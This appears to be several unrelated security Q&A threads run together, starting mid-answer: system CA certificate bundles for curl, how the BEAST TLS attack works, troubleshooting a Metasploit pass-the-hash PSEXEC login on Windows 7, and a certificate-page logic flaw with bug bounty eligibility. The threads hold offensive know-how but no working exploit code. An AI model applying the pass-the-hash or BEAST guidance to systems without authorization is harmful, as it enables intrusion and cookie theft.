/usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
/usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
/usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
/usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
/usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
/usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
/usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
[...]

Every single files contains a certificate, for example:

 cat /usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwF
ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
b24gUm9vdCBDQSAyMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTEL
MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
b3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK2Wny2cSkxK
gXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4kHbZ
[...]
9jVlpNMKVv/1F2Rs76giJUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT
4PsJYGw=
-----END CERTIFICATE-----

The syntax you mentionned for Curl is if you want to override the system-wide certificates store to, for example, use your own certificate authority.
It's called bundle because you may have several certificates involved in the signing process. For example: "Root CA" -- sign --> "Intermediate CA" -- sign --> Final certificate, so in this case, your bundle must contain both "Root CA" and "Intermediate CA" to succeed verifying the whole chain.


how to experiment with BEAST attacks from basic research my understanding is: it is vulnerable in TLS 1.0 in SSL 3

Attacker can inject javascript and pass some known text to some server where attacker will get the encrypted version of known plain text and this is how the encryption mechanism can be known.

Please clarify if I misunderstood anything.

Questions: How to inject some malicious java script on page ? and what are the tools to identity encryption mechanism and apply the same to decrypt the cookie content ?

You are really looking for a better explanation of what the BEAST attack does, then this site is a great reference.

  How Would an Attack Take Place?

  BEAST has three conditions that must be met for this attack to take
  place:

  JavaScript or applet injection into the same origin of the web site
  Network sniffing of the connection must be possible
  A vulnerable version of SSL must be used which is using a block cipher

An attacker could inject a java applet into the page with either XSS or intercepting a request for a valid applet.

As far as the exact method of "breaking" SSL.  The article I mentioned, provides some great links in the fourth paragraph.

This blog post provides a great technical breakdown of how the BEAST attack works.

Security impact of the Rizzo/Duong CBC "BEAST" attack


Unable to PSEXEC into machine with admin hash I'm doing a penetration test at the moment, and I am trying to PSEXEC into a machine for which I have the local administrator hash.

I am attempting this with metasploit and metasploits psexec module.

I have LHOST set to my local IP, rhost set to the target IP, SMBUser is set to 'Administrator' and SMBPass is set with the hash.

However, I get an access denied error, which..surely should not be the case? Target is a Windows 7 machine.

I do this regularly as part of penetration tests and have not run into this error before, wondering what the cause could be?

This could be two things.

If your account is in fact RID 500 then the registry key FilterAdministratorToken might be set to prevent SMB logins to built-in administrator having admin privileges.

If the account is not RID 500, then UAC or the LocalAccountTokenFilterPolicy registry key is filtering the token with the elevated privileges (so your account acts as a normal user without access to the service required for PSExec).

See http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/ for more info.


What do i call this vulnerability Technically? There is a site which hosts coding competitions for coding and placements.
They issue certificates for winning the coding exam or at least get into the finale round.

I did not participated in that competition but my friend did.
He posted the certificate on LinkedIn with the links of it.

I being on the same coding platform as a user, clicked on the certificate link and was navigated to the certificate page, and BOOM I see my name in the certificate instead of that guy.

Well, I quickly went to incognito mode of the browser and made a fake dummy account, copied and pasted that url and again BOOM, the certificate shows that DUMMY name.

Is it a bug in that coding platform?? with this can I be eligible from bounty?

What is the severity of it knowing that it is Coding and Hiring platform??

What should I call this vulnerability in Technical term?

Note: When I log out from my coding platform account and then click on that link then it says to log in to view the certificate. SO clearly it is related to session in the browser.

The website states the following about eligibility:

  Some common security-related issues could include the following:

  Cross-Site Request Forgery (CSRF)
  Cross-Site Scripting (XSS)[Stored XSS/DOM XSS/Reflected XSS which affects other users]
  Code Executions
  SQL injections
  Server Side Request Forgery (SSRF)
  Privilege Escalations
  Authentication Bypasses
  File inclusions (Local & Remote)
  Protection Mechanism bypasses (CSRF bypass, etc.)
  Leakage of sensitive data
  Directory Traversal
  Payment manipulation
  Administration portals without authentication mechanism
  Open redirects which allow stealing tokens/secrets

The following is listed as an example for ineligibility:

  Application stack traces (Path disclosures, etc.)
  Self-type Cross Site Scripting
  Self affecting Reflected Cross Site Scripting
  Denial of Service attacks
  CSRF issues on actions with minimal impact
  Brute force attacks
  Security practices (banner revealing a software version, etc.)
  Vulnerabilities on sites hosted by third parties unless they lead to a vulnerability on the main website.
  Vulnerabilities contingent on physical attack, social engineering, spamming, DDOS attack, etc.
  V> * ulnerabilities affecting outdated or unpatched browsers / Operating Systems.
  Vulnerabilities in third party applications.
  Bugs that have not been responsibly investigated and reported.
  Bugs already known to us, or already reported by someone else (reward goes to first reporter).
  Issues that aren't reproducible.
  Issues that we can't reasonably be expected to do anything about.

Am I eligible for the bounty?

What kind of vulnerability is this?

This kind of vulnerability is usually referred to as "Business Logic Abuse". Business Logic refers to any business-related process, such as "If people reach the finale, they get a certificate".

The fact that you can get a certificate without participation is a way to circumvent this business logic.

Will this be eligible for a bug bounty?

No. Their website lists which kinds of vulnerabilities are eligible for a bug bounty and your vulnerability is not among those. Furthermore, your vulnerability has absolutely minimal impact, and a forged certificate could be made in a number of ways (e.g. image manipulation software, etc.)